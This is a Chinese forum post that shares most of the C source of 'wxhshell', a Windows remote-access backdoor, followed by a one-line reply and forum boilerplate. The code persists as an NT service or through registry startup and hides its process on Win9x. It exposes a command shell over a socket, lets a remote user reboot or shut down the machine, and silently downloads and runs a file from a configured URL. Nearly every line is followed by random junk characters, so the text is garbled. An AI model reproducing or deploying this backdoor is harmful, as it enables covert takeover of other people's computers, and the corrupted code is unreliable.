  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iM$iZ;Tp  
  } D|2lBU  
  else { )1g\v8XT  
~lbm^S}-  
    switch(cmd[0]) { R ^"*ut  
  @o&UF-=MW(  
  // 帮助 EvT"+;9/p  
  case '?': { ($!g= 7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HP=5 a.  
    break; YXg^t$  
  } !{!(yP_  
  // 安装 PB #EU 9  
  case 'i': { H|3CZ=U?  
    if(Install()) IH"_6s#$&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM[[skc  
    else EiS2-Uh*TT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z3M6<.K  
    break; ?[.g~DK,  
    } O`_]n  
  // 卸载 16"L;r  
  case 'r': { k;<F33v;Mh  
    if(Uninstall()) xv7nChB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {5SJ0'.B2g  
    else 5*O]`Q7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mn*5oH  
    break; uFG ;AY|  
    } 0xV[C4E[6  
  // 显示 wxhshell 所在路径 ?SX0e(+}}  
  case 'p': { 1]aya(  
    char svExeFile[MAX_PATH]; ,w,)n^  
    strcpy(svExeFile,"\n\r"); +$R%Vbd  
      strcat(svExeFile,ExeFile); _@Y17L.  
        send(wsh,svExeFile,strlen(svExeFile),0); LbnF8tj}h  
    break; ]_hXg*?  
    } s5ILl wr  
  // 重启 F~3 &@TWi  
  case 'b': { 5IP@_GV|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R+Rb[,m  
    if(Boot(REBOOT)) f|,2u5 ;z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &>Z p}.V  
    else { mFyYn,Mu|  
    closesocket(wsh); N8Un42  
    ExitThread(0); `nL^]i  
    } }b>e lz  
    break; bQwiJ`B&  
    } \V*E:_w*  
  // 关机 wEEFpn_   
  case 'd': { >+S* Wtm5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); % %QAC4  
    if(Boot(SHUTDOWN)) u]<`y6=&C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )J&!>GP  
    else { {#l@9r%  
    closesocket(wsh); ?Q6ZZQ~  
    ExitThread(0); }9?fb[]  
    } .-: 6L2  
    break; {ZgycMS  
    } 4OdK@+-8U  
  // 获取shell Ot3+<{  
  case 's': { u"zQh|  
    CmdShell(wsh); BtP*R,>  
    closesocket(wsh); [,qb) &_  
    ExitThread(0); DO? bJ01  
    break; =e]Wt/AQ  
  } ]K%D$x{+\  
  // 退出 Ay\!ohIS3  
  case 'x': { Mp^U)S+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nHB`<B  
    CloseIt(wsh); nmrdqSV  
    break; @3>nVa  
    } !7anJl  
  // 离开 MM Nz2DEy[  
  case 'q': { D"n 3If%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;%PdSG=U  
    closesocket(wsh); ] I0(_e|z}  
    WSACleanup(); +isaqfy/  
    exit(1); ]TKM.[[  
    break; k N$L8U8f  
        } ,lw<dB@7"5  
  } XJf1LGT5  
  } }UHoa  
B9h>  
  // 提示信息 2n5{H fpY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hH@pA:`s  
} +yu^Z*_  
  } |y7#D9m  
%LZf= `:(  
  return; d:=:l?  
}  ?ik6kWI  
x20sB  
// shell模块句柄 >5-]Ur~  
int CmdShell(SOCKET sock) f5QJj<@  
{ # FV`*G  
STARTUPINFO si; %GDs/9  
ZeroMemory(&si,sizeof(si)); Gnmxp%&}P|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; atWAhN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XWFuAE  
PROCESS_INFORMATION ProcessInfo; ]#oqum@Yf1  
char cmdline[]="cmd"; t2vo;,^euL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ic&Jhw;]z  
  return 0; 5VPP 2;J  
} @y`7csb p  
=9vmRh? 8  
// 自身启动模式 ~0@+8%^>;  
int StartFromService(void) T1r^.;I:  
{ Fh$Xcz~i  
typedef struct ^!>o5Y)  
{ kT6EHuB  
  DWORD ExitStatus; v:$Y |mh  
  DWORD PebBaseAddress; jP|(y]!  
  DWORD AffinityMask; \muC_9ke  
  DWORD BasePriority; )|@UY(VZ^  
  ULONG UniqueProcessId; nxh9'"th  
  ULONG InheritedFromUniqueProcessId;  ~WG#Zci-  
}   PROCESS_BASIC_INFORMATION; p![CH  
Y+I`XeY  
PROCNTQSIP NtQueryInformationProcess; e#$ZOK)`  
L1E\^)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s"\o6r ,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S}cm.,/w  
o\YF_235  
  HANDLE             hProcess; nANoy6z:  
  PROCESS_BASIC_INFORMATION pbi; gRdg3qvU  
5zH?1Z~*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O~AOZ^a:2  
  if(NULL == hInst ) return 0; hkL[hD  
?#917M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;1 02ddRV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (P N!k0Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `Z0#IeX=  
,HdFE|  
  if (!NtQueryInformationProcess) return 0; <C_FI` wk  
#wZ:E,R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K) "cwk-  
  if(!hProcess) return 0; eqze7EY  
\WVrn>%xu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O{9h'JU  
V OViOD  
  CloseHandle(hProcess); U8(Rye$  
[UHDN:y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cHMS[.=;  
if(hProcess==NULL) return 0; Y+tXWN"8  
=NzA2td  
HMODULE hMod; 8y{<M"v+/  
char procName[255]; ctL@&~*nY  
unsigned long cbNeeded; lS(?x|dO  
@u2nG:FG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ oIVE+L/P  
81|Xg5g)b  
  CloseHandle(hProcess); ]S~Z8T-[  
Dyj5a($9"{  
if(strstr(procName,"services")) return 1; // 以服务启动 l&4TfzkY  
rE bC_<  
  return 0; // 注册表启动 @M-+-6+  
} 2|)3Ly9  
~a5p_xP  
// 主模块 [EJ[Gg0m  
int StartWxhshell(LPSTR lpCmdLine) Kj_hCSvf3e  
{ _azg 0.)  
  SOCKET wsl; l*]*.?m/5  
BOOL val=TRUE; GiN\nu<!  
  int port=0; ccJ@jpXI  
  struct sockaddr_in door; #U NTD4   
TK;*:K8oe  
  if(wscfg.ws_autoins) Install(); {qCmZn5  
WKQVT I&A.  
port=atoi(lpCmdLine); 8eSIY17  
@hiwq 7[j  
if(port<=0) port=wscfg.ws_port; <;.Zms${@  
N}>XBZy  
  WSADATA data; mlY0G w_e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fr)G h>  
sSi1;9^o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MX?K3=j @>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]iuM2]  
  door.sin_family = AF_INET; x aWmwsym  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P.RlozF5;  
  door.sin_port = htons(port); ":*PC[)W  
0=;jGh}|i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ++:vO  
closesocket(wsl); B8_ w3;x  
return 1; 5[M?O4mi  
} Cd#>,,\z  
1@kPl[`p'  
  if(listen(wsl,2) == INVALID_SOCKET) { jl=<Q.Mm7  
closesocket(wsl); 5o5y3ibQ  
return 1; /GNRu  
} $LZf&q:\]*  
  Wxhshell(wsl); :xfD>K  
  WSACleanup(); tZ[Y~],F  
PY.c$)az>  
return 0; $Tt@Xu  
\c+)Y}:D  
} AyKaazm]9  
#{GUu ',?&  
// 以NT服务方式启动 n< [np;\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %,GY&hTw  
{ SU9#Y|I  
DWORD   status = 0; Pn5@7~  
  DWORD   specificError = 0xfffffff; lC +p2OG^[  
o*\kg+8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T"'"T]^ X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `/<KDd:_t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  c/I.`@  
  serviceStatus.dwWin32ExitCode     = 0; S?%V o* Y  
  serviceStatus.dwServiceSpecificExitCode = 0; uRKCvsisX  
  serviceStatus.dwCheckPoint       = 0; n\5` JNCb  
  serviceStatus.dwWaitHint       = 0; ]?xF'3#  
viAvD6e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N7*JL2Rnq  
  if (hServiceStatusHandle==0) return; ]YZ+/:#U7  
_tL*sA>[~)  
status = GetLastError(); >>wb yj8  
  if (status!=NO_ERROR) ;"&^ckP  
{ zGu(y@o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fEdQR->  
    serviceStatus.dwCheckPoint       = 0;  FZnkQ  
    serviceStatus.dwWaitHint       = 0; *L/_ v  
    serviceStatus.dwWin32ExitCode     = status; YcGSZ0vQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; LGPy>,!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t(CdoE,6  
    return; Lm9y!>1"O  
  } $GUSTV  
XZA3T Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fSl+;|K n  
  serviceStatus.dwCheckPoint       = 0; >\8Bu#&s4  
  serviceStatus.dwWaitHint       = 0; tuK"}HepB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =R!=uml(  
} +M (\R?@gr  
-c%GlpZw  
// 处理NT服务事件,比如:启动、停止 52tIe|KwL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R 3 Eh47  
{ =V_} z3b  
switch(fdwControl) $ # @G!  
{ }+QgRGQ  
case SERVICE_CONTROL_STOP: /]T#@>('  
  serviceStatus.dwWin32ExitCode = 0; Xcicqywe?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X_|8CD-@6  
  serviceStatus.dwCheckPoint   = 0; 'rRo2oTN  
  serviceStatus.dwWaitHint     = 0; #18H Z4N  
  { m1VyYG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,aPK/  
  } PX[taDN  
  return; ^M  PU?k  
case SERVICE_CONTROL_PAUSE: 1okL]VrI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; abWmPi  
  break; rZe"*$e  
case SERVICE_CONTROL_CONTINUE: IO`.]iG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >f19P+  
  break; J:'cj5@  
case SERVICE_CONTROL_INTERROGATE: WO)rJr!C  
  break; 6t TLyI$+  
}; r`i<XGPJ%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Duy: C6W  
} +%6{>C+bZo  
S3:Pjz}t  
// 标准应用程序主函数 0(Z ER sP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <m`HK.|~  
{ f$iv+7<B^  
P 5m{}@g  
// 获取操作系统版本 A"\kdxC  
OsIsNt=GetOsVer(); 4t|g G`QW7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vur$t^zE  
%U)/>Z  
  // 从命令行安装 $91c9z;f^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 22`W*e@6h  
p< '#f,o  
  // 下载执行文件 ~o= Sxaf  
if(wscfg.ws_downexe) { oU$Niw9f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  {IYfq)c  
  WinExec(wscfg.ws_filenam,SW_HIDE); gf2l19aP  
} $=4T# W=m  
nu}$wLM  
if(!OsIsNt) { PNd]Xmv)  
// 如果时win9x,隐藏进程并且设置为注册表启动 O!lZ%j@%  
HideProc(); <O?iJ=$  
StartWxhshell(lpCmdLine); ZBcZG  
} 26yv w  
else '73dsOTIT  
  if(StartFromService()) J8J~$DU\Gv  
  // 以服务方式启动 i RS )Z )  
  StartServiceCtrlDispatcher(DispatchTable); ?a7PxD.  
else n wToZxHZ~  
  // 普通方式启动 >,y291p2  
  StartWxhshell(lpCmdLine); W@`Nn*S  
3)T'&HKQ  
return 0; *O#%hTYq  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五